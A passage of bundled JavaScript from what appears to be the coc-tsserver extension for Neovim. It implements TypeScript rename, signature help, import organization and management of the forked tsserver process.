case PConst.Kind.memberSetAccessor:
case PConst.Kind.constructorImplementation:
case PConst.Kind.interface:
case PConst.Kind.type:
case PConst.Kind.enum:
return super.getSymbolRange(document, item);
}
return null;
}
}
exports.default = TypeScriptReferencesCodeLensProvider;
/***/ }),
/* 111 */
/***/ (function(__unused_webpack_module, exports, __webpack_require__) {
"use strict";
var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
if (k2 === undefined) k2 = k;
Object.defineProperty(o, k2, { enumerable: true, get: function() { return m[k]; } });
}) : (function(o, m, k, k2) {
if (k2 === undefined) k2 = k;
o[k2] = m[k];
}));
var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
Object.defineProperty(o, "default", { enumerable: true, value: v });
}) : function(o, v) {
o["default"] = v;
});
var __importStar = (this && this.__importStar) || function (mod) {
if (mod && mod.__esModule) return mod;
var result = {};
if (mod != null) for (var k in mod) if (k !== "default" && Object.prototype.hasOwnProperty.call(mod, k)) __createBinding(result, mod, k);
__setModuleDefault(result, mod);
return result;
};
var __importDefault = (this && this.__importDefault) || function (mod) {
return (mod && mod.__esModule) ? mod : { "default": mod };
};
Object.defineProperty(exports, "__esModule", ({ value: true }));
/*---------------------------------------------------------------------------------------------
* Copyright (c) Microsoft Corporation. All rights reserved.
* Licensed under the MIT License. See License.txt in the project root for license information.
*--------------------------------------------------------------------------------------------*/
const coc_nvim_1 = __webpack_require__(1);
const path_1 = __importDefault(__webpack_require__(13));
const api_1 = __importDefault(__webpack_require__(36));
const typeConverters = __importStar(__webpack_require__(82));
class TypeScriptRenameProvider {
constructor(client, fileConfigurationManager) {
this.client = client;
this.fileConfigurationManager = fileConfigurationManager;
}
async prepareRename(document, position, token) {
const response = await this.execRename(document, position, token);
if (!response || response.type !== 'response' || !response.body) {
return null;
}
const renameInfo = response.body.info;
if (!renameInfo.canRename) {
return Promise.reject(new Error('Invalid location for rename.'));
}
if (this.client.apiVersion.gte(api_1.default.v310)) {
const triggerSpan = renameInfo.triggerSpan;
if (triggerSpan) {
const range = typeConverters.Range.fromTextSpan(triggerSpan);
return range;
}
}
return null;
}
async provideRenameEdits(document, position, newName, token) {
const response = await this.execRename(document, position, token);
if (!response || response.type !== 'response' || !response.body) {
return null;
}
const renameInfo = response.body.info;
if (!renameInfo.canRename) {
return Promise.reject(new Error('Invalid location for rename.'));
}
if (this.client.apiVersion.gte(api_1.default.v310)) {
if (renameInfo.fileToRename) {
const edits = await this.renameFile(renameInfo.fileToRename, newName, token);
if (edits) {
return edits;
}
else {
return Promise.reject(new Error('An error occurred while renaming file'));
}
}
}
return this.toWorkspaceEdit(response.body.locs, newName);
}
async execRename(document, position, token) {
const file = this.client.toPath(document.uri);
if (!file)
return undefined;
const args = Object.assign(Object.assign({}, typeConverters.Position.toFileLocationRequestArgs(file, position)), { findInStrings: false, findInComments: false });
await this.fileConfigurationManager.ensureConfigurationForDocument(document, token);
return this.client.interruptGetErr(() => {
return this.client.execute('rename', args, token);
});
}
toWorkspaceEdit(locations, newName) {
let changes = {};
for (const spanGroup of locations) {
const uri = this.client.toResource(spanGroup.file);
if (uri) {
changes[uri] = [];
for (const textSpan of spanGroup.locs) {
changes[uri].push({
range: typeConverters.Range.fromTextSpan(textSpan),
newText: (textSpan.prefixText || '') + newName + (textSpan.suffixText || '')
});
}
}
}
return { changes };
}
async renameFile(fileToRename, newName, token) {
// Make sure we preserve file exension if none provided
if (!path_1.default.extname(newName)) {
newName += path_1.default.extname(fileToRename);
}
const dirname = path_1.default.dirname(fileToRename);
const newFilePath = path_1.default.join(dirname, newName);
const args = {
file: fileToRename,
oldFilePath: fileToRename,
newFilePath
};
const response = await this.client.execute('getEditsForFileRename', args, token);
if (response.type !== 'response' || !response.body) {
return undefined;
}
const edits = typeConverters.WorkspaceEdit.fromFileCodeEdits(this.client, response.body);
edits.documentChanges = edits.documentChanges || [];
edits.documentChanges.push({
kind: 'rename',
oldUri: coc_nvim_1.Uri.file(fileToRename).toString(),
newUri: coc_nvim_1.Uri.file(newFilePath).toString(),
options: {
overwrite: false,
ignoreIfExists: true
}
});
return edits;
}
}
exports.default = TypeScriptRenameProvider;
/***/ }),
/* 112 */
/***/ (function(__unused_webpack_module, exports, __webpack_require__) {
"use strict";
var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
if (k2 === undefined) k2 = k;
Object.defineProperty(o, k2, { enumerable: true, get: function() { return m[k]; } });
}) : (function(o, m, k, k2) {
if (k2 === undefined) k2 = k;
o[k2] = m[k];
}));
var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
Object.defineProperty(o, "default", { enumerable: true, value: v });
}) : function(o, v) {
o["default"] = v;
});
var __importStar = (this && this.__importStar) || function (mod) {
if (mod && mod.__esModule) return mod;
var result = {};
if (mod != null) for (var k in mod) if (k !== "default" && Object.prototype.hasOwnProperty.call(mod, k)) __createBinding(result, mod, k);
__setModuleDefault(result, mod);
return result;
};
Object.defineProperty(exports, "__esModule", ({ value: true }));
const Previewer = __importStar(__webpack_require__(90));
const typeConverters = __importStar(__webpack_require__(82));
class TypeScriptSignatureHelpProvider {
constructor(client) {
this.client = client;
}
async provideSignatureHelp(document, position, token) {
const filepath = this.client.toPath(document.uri);
if (!filepath) {
return undefined;
}
const args = typeConverters.Position.toFileLocationRequestArgs(filepath, position);
let response;
try {
response = await this.client.interruptGetErr(() => this.client.execute('signatureHelp', args, token));
}
catch (e) {
return undefined;
}
if (response.type !== 'response' || !response.body) {
return undefined;
}
let info = response.body;
const result = {
activeSignature: info.selectedItemIndex,
activeParameter: this.getActiveParmeter(info),
signatures: info.items.map(signature => {
return this.convertSignature(signature);
})
};
return result;
}
getActiveParmeter(info) {
const activeSignature = info.items[info.selectedItemIndex];
if (activeSignature && activeSignature.isVariadic) {
return Math.min(info.argumentIndex, activeSignature.parameters.length - 1);
}
return info.argumentIndex;
}
convertSignature(item) {
var _a;
let parameters = item.parameters.map(p => {
return {
label: Previewer.plain(p.displayParts),
documentation: Previewer.markdownDocumentation(p.documentation, [])
};
});
let label = Previewer.plain(item.prefixDisplayParts);
label += parameters.map(parameter => parameter.label).join(Previewer.plain(item.separatorDisplayParts));
label += Previewer.plain(item.suffixDisplayParts);
return {
label,
documentation: Previewer.markdownDocumentation(item.documentation, (_a = item.tags) === null || _a === void 0 ? void 0 : _a.filter(x => x.name !== 'param')),
parameters
};
}
}
exports.default = TypeScriptSignatureHelpProvider;
TypeScriptSignatureHelpProvider.triggerCharacters = ['(', ',', '<'];
/***/ }),
/* 113 */
/***/ (function(__unused_webpack_module, exports, __webpack_require__) {
"use strict";
/*---------------------------------------------------------------------------------------------
* Copyright (c) Microsoft Corporation. All rights reserved.
* Licensed under the MIT License. See License.txt in the project root for license information.
*--------------------------------------------------------------------------------------------*/
var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
if (k2 === undefined) k2 = k;
Object.defineProperty(o, k2, { enumerable: true, get: function() { return m[k]; } });
}) : (function(o, m, k, k2) {
if (k2 === undefined) k2 = k;
o[k2] = m[k];
}));
var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
Object.defineProperty(o, "default", { enumerable: true, value: v });
}) : function(o, v) {
o["default"] = v;
});
var __importStar = (this && this.__importStar) || function (mod) {
if (mod && mod.__esModule) return mod;
var result = {};
if (mod != null) for (var k in mod) if (k !== "default" && Object.prototype.hasOwnProperty.call(mod, k)) __createBinding(result, mod, k);
__setModuleDefault(result, mod);
return result;
};
Object.defineProperty(exports, "__esModule", ({ value: true }));
const typeConverters = __importStar(__webpack_require__(82));
class SmartSelection {
constructor(client) {
this.client = client;
}
async provideSelectionRanges(document, positions, token) {
const file = this.client.toPath(document.uri);
if (!file) {
return undefined;
}
const args = {
file,
locations: positions.map(typeConverters.Position.toLocation)
};
const response = await this.client.execute('selectionRange', args, token);
if (response.type !== 'response' || !response.body) {
return undefined;
}
return response.body.map(SmartSelection.convertSelectionRange);
}
static convertSelectionRange(selectionRange) {
return {
range: typeConverters.Range.fromTextSpan(selectionRange.textSpan),
parent: selectionRange.parent ? SmartSelection.convertSelectionRange(selectionRange.parent) : undefined,
};
}
}
exports.default = SmartSelection;
/***/ }),
/* 114 */
/***/ (function(__unused_webpack_module, exports, __webpack_require__) {
"use strict";
var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
if (k2 === undefined) k2 = k;
Object.defineProperty(o, k2, { enumerable: true, get: function() { return m[k]; } });
}) : (function(o, m, k, k2) {
if (k2 === undefined) k2 = k;
o[k2] = m[k];
}));
var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
Object.defineProperty(o, "default", { enumerable: true, value: v });
}) : function(o, v) {
o["default"] = v;
});
var __importStar = (this && this.__importStar) || function (mod) {
if (mod && mod.__esModule) return mod;
var result = {};
if (mod != null) for (var k in mod) if (k !== "default" && Object.prototype.hasOwnProperty.call(mod, k)) __createBinding(result, mod, k);
__setModuleDefault(result, mod);
return result;
};
Object.defineProperty(exports, "__esModule", ({ value: true }));
const coc_nvim_1 = __webpack_require__(1);
/*---------------------------------------------------------------------------------------------
* Copyright (c) Microsoft Corporation. All rights reserved.
* Licensed under the MIT License. See License.txt in the project root for license information.
*--------------------------------------------------------------------------------------------*/
const vscode_languageserver_protocol_1 = __webpack_require__(3);
const mutex_1 = __webpack_require__(115);
const typeConverters = __importStar(__webpack_require__(82));
function wait(ms) {
return new Promise(resolve => {
setTimeout(() => {
resolve();
}, ms);
});
}
class UpdateImportsOnFileRenameHandler {
constructor(client, fileConfigurationManager, languageId) {
this.client = client;
this.fileConfigurationManager = fileConfigurationManager;
this.disposables = [];
let glob = languageId == 'typescript' ? '**/*.{ts,tsx}' : '**/*.{js,jsx}';
const watcher = coc_nvim_1.workspace.createFileSystemWatcher(glob);
this.disposables.push(watcher);
let mutex = new mutex_1.Mutex();
watcher.onDidRename(async (e) => {
let release = await mutex.acquire();
try {
await this.doRename(e.oldUri, e.newUri);
release();
}
catch (e) {
this.client.logger.error('Error on rename:', e);
release();
}
}, null, this.disposables);
}
dispose() {
coc_nvim_1.disposeAll(this.disposables);
}
async doRename(oldResource, newResource) {
if (oldResource.scheme !== 'file' || newResource.scheme !== 'file') {
return;
}
const targetFile = newResource.fsPath;
const oldFile = oldResource.fsPath;
const newUri = newResource.toString();
let oldDocument = coc_nvim_1.workspace.getDocument(oldResource.toString());
if (oldDocument) {
await coc_nvim_1.workspace.nvim.command(`silent ${oldDocument.bufnr}bwipeout!`);
}
let document = coc_nvim_1.workspace.getDocument(newUri);
if (document) {
await coc_nvim_1.workspace.nvim.command(`silent ${document.bufnr}bwipeout!`);
await wait(30);
}
document = await coc_nvim_1.workspace.loadFile(newUri);
if (!document)
return;
await wait(50);
const edits = await this.getEditsForFileRename(document.textDocument, oldFile, targetFile);
if (!edits)
return;
if (await this.promptUser(newResource)) {
await coc_nvim_1.workspace.applyEdit(edits);
}
}
async promptUser(newResource) {
return await coc_nvim_1.window.showPrompt(`Update imports for moved file: ${newResource.fsPath}?`);
}
async getEditsForFileRename(document, oldFile, newFile) {
await this.fileConfigurationManager.ensureConfigurationForDocument(document, vscode_languageserver_protocol_1.CancellationToken.None);
const response = await this.client.interruptGetErr(() => {
const args = {
oldFilePath: oldFile,
newFilePath: newFile,
};
return this.client.execute('getEditsForFileRename', args, vscode_languageserver_protocol_1.CancellationToken.None);
});
if (!response || response.type != 'response' || !response.body) {
return;
}
const edits = [];
for (const edit of response.body) {
// Workaround for https://github.com/Microsoft/vscode/issues/52675
if (edit.fileName.match(/[\/\\]node_modules[\/\\]/gi)) {
continue;
}
for (const change of edit.textChanges) {
if (change.newText.match(/\/node_modules\//gi)) {
continue;
}
}
edits.push(edit);
}
return typeConverters.WorkspaceEdit.fromFileCodeEdits(this.client, edits);
}
}
exports.default = UpdateImportsOnFileRenameHandler;
/***/ }),
/* 115 */
/***/ ((__unused_webpack_module, exports) => {
"use strict";
Object.defineProperty(exports, "__esModule", ({ value: true }));
exports.Mutex = void 0;
class Mutex {
constructor() {
this.tasks = [];
this.count = 1;
}
sched() {
if (this.count > 0 && this.tasks.length > 0) {
this.count--;
let next = this.tasks.shift();
next();
}
}
get busy() {
return this.count == 0;
}
// tslint:disable-next-line: typedef
acquire() {
return new Promise(res => {
let task = () => {
let released = false;
res(() => {
if (!released) {
released = true;
this.count++;
this.sched();
}
});
};
this.tasks.push(task);
process.nextTick(this.sched.bind(this));
});
}
use(f) {
return this.acquire()
.then(release => {
return f()
.then(res => {
release();
return res;
})
.catch(err => {
release();
throw err;
});
});
}
}
exports.Mutex = Mutex;
/***/ }),
/* 116 */
/***/ (function(__unused_webpack_module, exports, __webpack_require__) {
"use strict";
var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
if (k2 === undefined) k2 = k;
Object.defineProperty(o, k2, { enumerable: true, get: function() { return m[k]; } });
}) : (function(o, m, k, k2) {
if (k2 === undefined) k2 = k;
o[k2] = m[k];
}));
var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
Object.defineProperty(o, "default", { enumerable: true, value: v });
}) : function(o, v) {
o["default"] = v;
});
var __importStar = (this && this.__importStar) || function (mod) {
if (mod && mod.__esModule) return mod;
var result = {};
if (mod != null) for (var k in mod) if (k !== "default" && Object.prototype.hasOwnProperty.call(mod, k)) __createBinding(result, mod, k);
__setModuleDefault(result, mod);
return result;
};
Object.defineProperty(exports, "__esModule", ({ value: true }));
exports.OrganizeImportsCodeActionProvider = exports.OrganizeImportsCommand = void 0;
/*---------------------------------------------------------------------------------------------
* Copyright (c) Microsoft Corporation. All rights reserved.
* Licensed under the MIT License. See License.txt in the project root for license information.
*--------------------------------------------------------------------------------------------*/
const coc_nvim_1 = __webpack_require__(1);
const vscode_languageserver_protocol_1 = __webpack_require__(3);
const typeconverts = __importStar(__webpack_require__(82));
class OrganizeImportsCommand {
constructor(service) {
this.service = service;
this.id = 'tsserver.organizeImports';
}
async _execute(client, document) {
let file = client.toPath(document.uri);
const args = {
scope: {
type: 'file',
args: {
file
}
}
};
const response = await client.interruptGetErr(() => client.execute('organizeImports', args, vscode_languageserver_protocol_1.CancellationToken.None));
if (!response || response.type != 'response' || !response.success) {
return;
}
const edit = typeconverts.WorkspaceEdit.fromFileCodeEdits(client, response.body);
let keys = Object.keys(edit.changes);
if (keys.length == 1) {
let doc = coc_nvim_1.workspace.getDocument(keys[0]);
if (doc) {
await doc.applyEdits(edit.changes[keys[0]]);
return;
}
}
if (edit)
await coc_nvim_1.workspace.applyEdit(edit);
}
async execute(document) {
let client = await this.service.getClientHost();
if (!document) {
let doc = await coc_nvim_1.workspace.document;
if (!doc.attached) {
throw new Error(`Document not attached.`);
}
if (client.serviceClient.modeIds.indexOf(doc.filetype) == -1) {
throw new Error(`filetype "${doc.filetype}" not supported by tsserver.`);
}
document = doc.textDocument;
}
await this._execute(client.serviceClient, document);
}
}
exports.OrganizeImportsCommand = OrganizeImportsCommand;
class OrganizeImportsCodeActionProvider {
// public static readonly minVersion = API.v280
constructor(client, fileConfigManager) {
this.client = client;
this.fileConfigManager = fileConfigManager;
this.metadata = {
providedCodeActionKinds: [vscode_languageserver_protocol_1.CodeActionKind.SourceOrganizeImports]
};
}
async provideCodeActions(document, _range, context, token) {
if (this.client.modeIds.indexOf(document.languageId) == -1)
return;
if (!context.only || !context.only.includes(vscode_languageserver_protocol_1.CodeActionKind.SourceOrganizeImports)) {
return [];
}
await this.fileConfigManager.ensureConfigurationForDocument(document, token);
const action = vscode_languageserver_protocol_1.CodeAction.create('Organize Imports', {
title: '',
command: 'tsserver.organizeImports',
arguments: [document]
}, vscode_languageserver_protocol_1.CodeActionKind.SourceOrganizeImports);
return [action];
}
}
exports.OrganizeImportsCodeActionProvider = OrganizeImportsCodeActionProvider;
/***/ }),
/* 117 */
/***/ (function(__unused_webpack_module, exports, __webpack_require__) {
"use strict";
var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
if (k2 === undefined) k2 = k;
Object.defineProperty(o, k2, { enumerable: true, get: function() { return m[k]; } });
}) : (function(o, m, k, k2) {
if (k2 === undefined) k2 = k;
o[k2] = m[k];
}));
var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
Object.defineProperty(o, "default", { enumerable: true, value: v });
}) : function(o, v) {
o["default"] = v;
});
var __importStar = (this && this.__importStar) || function (mod) {
if (mod && mod.__esModule) return mod;
var result = {};
if (mod != null) for (var k in mod) if (k !== "default" && Object.prototype.hasOwnProperty.call(mod, k)) __createBinding(result, mod, k);
__setModuleDefault(result, mod);
return result;
};
var __importDefault = (this && this.__importDefault) || function (mod) {
return (mod && mod.__esModule) ? mod : { "default": mod };
};
Object.defineProperty(exports, "__esModule", ({ value: true }));
const coc_nvim_1 = __webpack_require__(1);
const fs_1 = __importDefault(__webpack_require__(105));
const os_1 = __importDefault(__webpack_require__(14));
const path_1 = __importDefault(__webpack_require__(13));
const vscode_languageserver_protocol_1 = __webpack_require__(3);
const fileSchemes = __importStar(__webpack_require__(118));
const callbackMap_1 = __webpack_require__(119);
const bufferSyncSupport_1 = __importDefault(__webpack_require__(121));
const diagnostics_1 = __webpack_require__(125);
const fileConfigurationManager_1 = __importDefault(__webpack_require__(35));
const requestQueue_1 = __webpack_require__(126);
const typescriptService_1 = __webpack_require__(120);
const api_1 = __importDefault(__webpack_require__(36));
const configuration_1 = __webpack_require__(127);
const logger_1 = __importDefault(__webpack_require__(132));
const process_1 = __webpack_require__(134);
const tracer_1 = __importDefault(__webpack_require__(135));
const tsconfig_1 = __webpack_require__(136);
const versionProvider_1 = __webpack_require__(137);
const versionStatus_1 = __importDefault(__webpack_require__(138));
const wireProtocol_1 = __webpack_require__(139);
class ForkedTsServerProcess {
constructor(childProcess) {
this.childProcess = childProcess;
this.toCancelOnResourceChange = new Set();
}
onError(cb) {
this.childProcess.on('error', cb);
}
onExit(cb) {
this.childProcess.on('exit', cb);
}
write(serverRequest) {
this.childProcess.stdin.write(JSON.stringify(serverRequest) + '\r\n', 'utf8');
}
createReader(callback, onError) {
// tslint:disable-next-line:no-unused-expression
new wireProtocol_1.Reader(this.childProcess.stdout, callback, onError);
}
kill() {
this.childProcess.kill();
}
}
class TypeScriptServiceClient {
constructor(pluginManager, modeIds) {
this.pluginManager = pluginManager;
this.modeIds = modeIds;
this.state = coc_nvim_1.ServiceStat.Initial;
this.logger = new logger_1.default();
this.tsServerLogFile = null;
this.cancellationPipeName = null;
this._callbacks = new callbackMap_1.CallbackMap();
this._requestQueue = new requestQueue_1.RequestQueue();
this._pendingResponses = new Set();
this._onTsServerStarted = new vscode_languageserver_protocol_1.Emitter();
this._onProjectLanguageServiceStateChanged = new vscode_languageserver_protocol_1.Emitter();
this._onDidBeginInstallTypings = new vscode_languageserver_protocol_1.Emitter();
this._onDidEndInstallTypings = new vscode_languageserver_protocol_1.Emitter();
this._onTypesInstallerInitializationFailed = new vscode_languageserver_protocol_1.Emitter();
this.disposables = [];
this.isRestarting = false;
this._onDiagnosticsReceived = new vscode_languageserver_protocol_1.Emitter();
this._onConfigDiagnosticsReceived = new vscode_languageserver_protocol_1.Emitter();
this._onResendModelsRequested = new vscode_languageserver_protocol_1.Emitter();
this.pathSeparator = path_1.default.sep;
this.lastStart = Date.now();
this.servicePromise = null;
this.lastError = null;
this.numberRestarts = 0;
this.fileConfigurationManager = new fileConfigurationManager_1.default(this);
this._configuration = configuration_1.TypeScriptServiceConfiguration.loadFromWorkspace();
this.versionProvider = new versionProvider_1.TypeScriptVersionProvider(this._configuration);
this._apiVersion = api_1.default.defaultVersion;
this.tracer = new tracer_1.default(this.logger);
this.versionStatus = new versionStatus_1.default(this.normalizePath.bind(this), this.fileConfigurationManager.enableJavascript());
pluginManager.onDidUpdateConfig(update => {
this.configurePlugin(update.pluginId, update.config);
}, null, this.disposables);
pluginManager.onDidChangePlugins(() => {
this.restartTsServer();
}, null, this.disposables);
this.bufferSyncSupport = new bufferSyncSupport_1.default(this, modeIds);
this.onTsServerStarted(() => {
this.bufferSyncSupport.listen();
});
this.diagnosticsManager = new diagnostics_1.DiagnosticsManager();
this.bufferSyncSupport.onDelete(resource => {
this.cancelInflightRequestsForResource(resource);
this.diagnosticsManager.delete(resource);
}, null, this.disposables);
this.bufferSyncSupport.onWillChange(resource => {
this.cancelInflightRequestsForResource(resource);
});
}
get onDiagnosticsReceived() {
return this._onDiagnosticsReceived.event;
}
get onConfigDiagnosticsReceived() {
return this._onConfigDiagnosticsReceived.event;
}
get onResendModelsRequested() {
return this._onResendModelsRequested.event;
}
get configuration() {
return this._configuration;
}
dispose() {
if (this.servicePromise) {
this.servicePromise
.then(childProcess => {
childProcess.kill();
})
.then(undefined, () => void 0);
}
this.bufferSyncSupport.dispose();
this.logger.dispose();
this._onTsServerStarted.dispose();
this._onResendModelsRequested.dispose();
this.versionStatus.dispose();
}
info(message, data) {
this.logger.info(message, data);
}
error(message, data) {
this.logger.error(message, data);
}
restartTsServer() {
const start = () => {
this.servicePromise = this.startService(true);
return this.servicePromise;
};
if (this.servicePromise) {
return Promise.resolve(this.servicePromise.then(childProcess => {
this.state = coc_nvim_1.ServiceStat.Stopping;
this.info('Killing TS Server');
this.isRestarting = true;
childProcess.kill();
this.servicePromise = null;
}).then(start));
}
else {
return Promise.resolve(start());
}
}
stop() {
if (!this.servicePromise)
return;
return new Promise((resolve, reject) => {
this.servicePromise.then(childProcess => {
if (this.state == coc_nvim_1.ServiceStat.Running) {
this.info('Killing TS Server');
childProcess.onExit(() => {
resolve();
});
childProcess.kill();
this.servicePromise = null;
}
else {
resolve();
}
}, reject);
});
}
get onTsServerStarted() {
return this._onTsServerStarted.event;
}
get onProjectLanguageServiceStateChanged() {
return this._onProjectLanguageServiceStateChanged.event;
}
get onDidBeginInstallTypings() {
return this._onDidBeginInstallTypings.event;
}
get onDidEndInstallTypings() {
return this._onDidEndInstallTypings.event;
}
get onTypesInstallerInitializationFailed() {
return this._onTypesInstallerInitializationFailed.event;
}
get apiVersion() {
return this._apiVersion;
}
get tscPath() {
return this._tscPath;
}
service() {
if (this.servicePromise) {
return this.servicePromise;
}
if (this.lastError) {
return Promise.reject(this.lastError);
}
return this.startService().then(() => {
if (this.servicePromise) {
return this.servicePromise;
}
});
}
ensureServiceStarted() {
if (!this.servicePromise) {
this.startService().catch(err => {
coc_nvim_1.window.showMessage(`TSServer start failed: ${err.message}`, 'error');
this.error(`Service start failed: ${err.stack}`);
});
}
}
async startService(resendModels = false) {
const { ignoreLocalTsserver } = this.configuration;
let currentVersion;
if (!ignoreLocalTsserver)
currentVersion = this.versionProvider.getLocalVersion();
if (!currentVersion || !fs_1.default.existsSync(currentVersion.tsServerPath)) {
currentVersion = this.versionProvider.getDefaultVersion();
}
if (!currentVersion || !currentVersion.isValid) {
if (this.configuration.globalTsdk) {
coc_nvim_1.window.showMessage(`Can not find typescript module, in 'tsserver.tsdk': ${this.configuration.globalTsdk}`, 'error');
}
else {
coc_nvim_1.window.showMessage(`Can not find typescript module, run ':CocInstall coc-tsserver' to fix it!`, 'error');
}
return;
}
this._apiVersion = currentVersion.version;
this._tscPath = currentVersion.tscPath;
this.versionStatus.onDidChangeTypeScriptVersion(currentVersion);
this.lastError = null;
const tsServerForkArgs = await this.getTsServerArgs(currentVersion);
const debugPort = this._configuration.debugPort;
const maxTsServerMemory = this._configuration.maxTsServerMemory;
const options = {
execArgv: [
...(debugPort ? [`--inspect=${debugPort}`] : []),
...(maxTsServerMemory ? [`--max-old-space-size=${maxTsServerMemory}`] : []),
],
cwd: coc_nvim_1.workspace.root
};
this.servicePromise = this.startProcess(currentVersion, tsServerForkArgs, options, resendModels);
return this.servicePromise;
}
startProcess(currentVersion, args, options, resendModels) {
this.state = coc_nvim_1.ServiceStat.Starting;
return new Promise((resolve, reject) => {
try {
process_1.fork(currentVersion.tsServerPath, args, options, this.logger, (err, childProcess) => {
if (err || !childProcess) {
this.state = coc_nvim_1.ServiceStat.StartFailed;
this.lastError = err;
this.error('Starting TSServer failed with error.', err.stack);
return;
}
this.state = coc_nvim_1.ServiceStat.Running;
this.info('Started TSServer', JSON.stringify(currentVersion, null, 2));
const handle = new ForkedTsServerProcess(childProcess);
this.tsServerProcess = handle;
this.lastStart = Date.now();
handle.onError((err) => {
this.lastError = err;
this.error('TSServer errored with error.', err);
this.error(`TSServer log file: ${this.tsServerLogFile || ''}`);
coc_nvim_1.window.showMessage(`TSServer errored with error. ${err.message}`, 'error');
this.serviceExited(false);
});
handle.onExit((code) => {
if (code == null) {
this.info('TSServer normal exit');
}
else {
this.error(`TSServer exited with code: ${code}`);
}
this.info(`TSServer log file: ${this.tsServerLogFile || ''}`);
this.serviceExited(!this.isRestarting);
this.isRestarting = false;
});
handle.createReader(msg => {
this.dispatchMessage(msg);
}, error => {
this.error('ReaderError', error);
});
resolve(handle);
this.serviceStarted(resendModels);
this._onTsServerStarted.fire(currentVersion.version);
});
}
catch (e) {
reject(e);
}
});
}
async openTsServerLogFile() {
const isRoot = process.getuid && process.getuid() == 0;
let echoErr = (msg) => {
coc_nvim_1.window.showMessage(msg, 'error');
};
if (isRoot) {
echoErr('Log disabled for root user.');
return false;
}
if (!this.apiVersion.gte(api_1.default.v222)) {
echoErr('TS Server logging requires TS 2.2.2+');
return false;
}
if (this._configuration.tsServerLogLevel === configuration_1.TsServerLogLevel.Off) {
echoErr(`TS Server logging is off. Change 'tsserver.log' in 'coc-settings.json' to enable`);
return false;
}
if (!this.tsServerLogFile) {
echoErr('TS Server has not started logging.');
return false;
}
try {
await coc_nvim_1.workspace.nvim.command(`edit ${this.tsServerLogFile}`);
return true;
}
catch (_a) {
echoErr('Could not open TS Server log file');
return false;
}
}
serviceStarted(resendModels) {
this.bufferSyncSupport.reset();
const watchOptions = this.apiVersion.gte(api_1.default.v380)
? this.configuration.watchOptions
: undefined;
const configureOptions = {
hostInfo: 'coc-nvim',
preferences: {
providePrefixAndSuffixTextForRename: true,
allowRenameOfImportPath: true,
},
watchOptions
};
this.executeWithoutWaitingForResponse('configure', configureOptions); // tslint:disable-line
this.setCompilerOptionsForInferredProjects(this._configuration);
if (resendModels) {
this._onResendModelsRequested.fire(void 0);
this.fileConfigurationManager.reset();
this.diagnosticsManager.reInitialize();
this.bufferSyncSupport.reinitialize();
}
// Reconfigure any plugins
for (const [config, pluginName] of this.pluginManager.configurations()) {
this.configurePlugin(config, pluginName);
}
}
setCompilerOptionsForInferredProjects(configuration) {
if (!this.apiVersion.gte(api_1.default.v206))
return;
const args = {
options: this.getCompilerOptionsForInferredProjects(configuration)
};
this.executeWithoutWaitingForResponse('compilerOptionsForInferredProjects', args); // tslint:disable-line
}
getCompilerOptionsForInferredProjects(configuration) {
return Object.assign(Object.assign({}, tsconfig_1.inferredProjectConfig(configuration)), { allowJs: true, allowSyntheticDefaultImports: true, allowNonTsExtensions: true });
}
serviceExited(restart) {
this.state = coc_nvim_1.ServiceStat.Stopped;
this.servicePromise = null;
this.tsServerLogFile = null;
this._callbacks.destroy('Service died.');
this._callbacks = new callbackMap_1.CallbackMap();
this._requestQueue = new requestQueue_1.RequestQueue();
this._pendingResponses = new Set();
if (restart) {
const diff = Date.now() - this.lastStart;
this.numberRestarts++;
let startService = true;
if (this.numberRestarts > 5) {
this.numberRestarts = 0;
if (diff < 10 * 1000 /* 10 seconds */) {
this.lastStart = Date.now();
startService = false;
coc_nvim_1.window.showMessage('The TypeScript language service died 5 times right after it got started.', 'error'); // tslint:disable-line
}
else if (diff < 60 * 1000 /* 1 Minutes */) {
this.lastStart = Date.now();
coc_nvim_1.window.showMessage('The TypeScript language service died unexpectedly 5 times in the last 5 Minutes.', 'error'); // tslint:disable-line
}
}
if (startService) {
this.startService(true); // tslint:disable-line
}
}
}
toPath(uri) {
return this.normalizePath(coc_nvim_1.Uri.parse(uri));
}
toOpenedFilePath(uri, options = {}) {
if (!this.bufferSyncSupport.ensureHasBuffer(uri)) {
if (!options.suppressAlertOnFailure) {
console.error(`Unexpected resource ${uri}`);
}
return undefined;
}
return this.toPath(uri);
}
toResource(filepath) {
if (this._apiVersion.gte(api_1.default.v213)) {
if (filepath.startsWith('untitled:')) {
let resource = coc_nvim_1.Uri.parse(filepath);
if (this.inMemoryResourcePrefix) {
const dirName = path_1.default.dirname(resource.path);
const fileName = path_1.default.basename(resource.path);
if (fileName.startsWith(this.inMemoryResourcePrefix)) {
resource = resource.with({ path: path_1.default.posix.join(dirName, fileName.slice(this.inMemoryResourcePrefix.length)) });
}
}
return resource.toString();
}
}
return coc_nvim_1.Uri.file(filepath).toString();
}
normalizePath(resource) {
if (fileSchemes.disabledSchemes.has(resource.scheme)) {
return undefined;
}
switch (resource.scheme) {
case fileSchemes.file: {
let result = resource.fsPath;
if (!result)
return undefined;
result = path_1.default.normalize(result);
// Both \ and / must be escaped in regular expressions
return result.replace(new RegExp('\\' + this.pathSeparator, 'g'), '/');
}
default: {
return this.inMemoryResourcePrefix + resource.toString(true);
}
}
}
get inMemoryResourcePrefix() {
return this._apiVersion.gte(api_1.default.v270) ? '^' : '';
}
asUrl(filepath) {
if (this._apiVersion.gte(api_1.default.v213)) {
if (filepath.startsWith('untitled:')) {
let resource = coc_nvim_1.Uri.parse(filepath);
if (this.inMemoryResourcePrefix) {
const dirName = path_1.default.dirname(resource.path);
const fileName = path_1.default.basename(resource.path);
if (fileName.startsWith(this.inMemoryResourcePrefix)) {
resource = resource.with({
path: path_1.default.posix.join(dirName, fileName.slice(this.inMemoryResourcePrefix.length))
});
}
}
return resource;
}
}
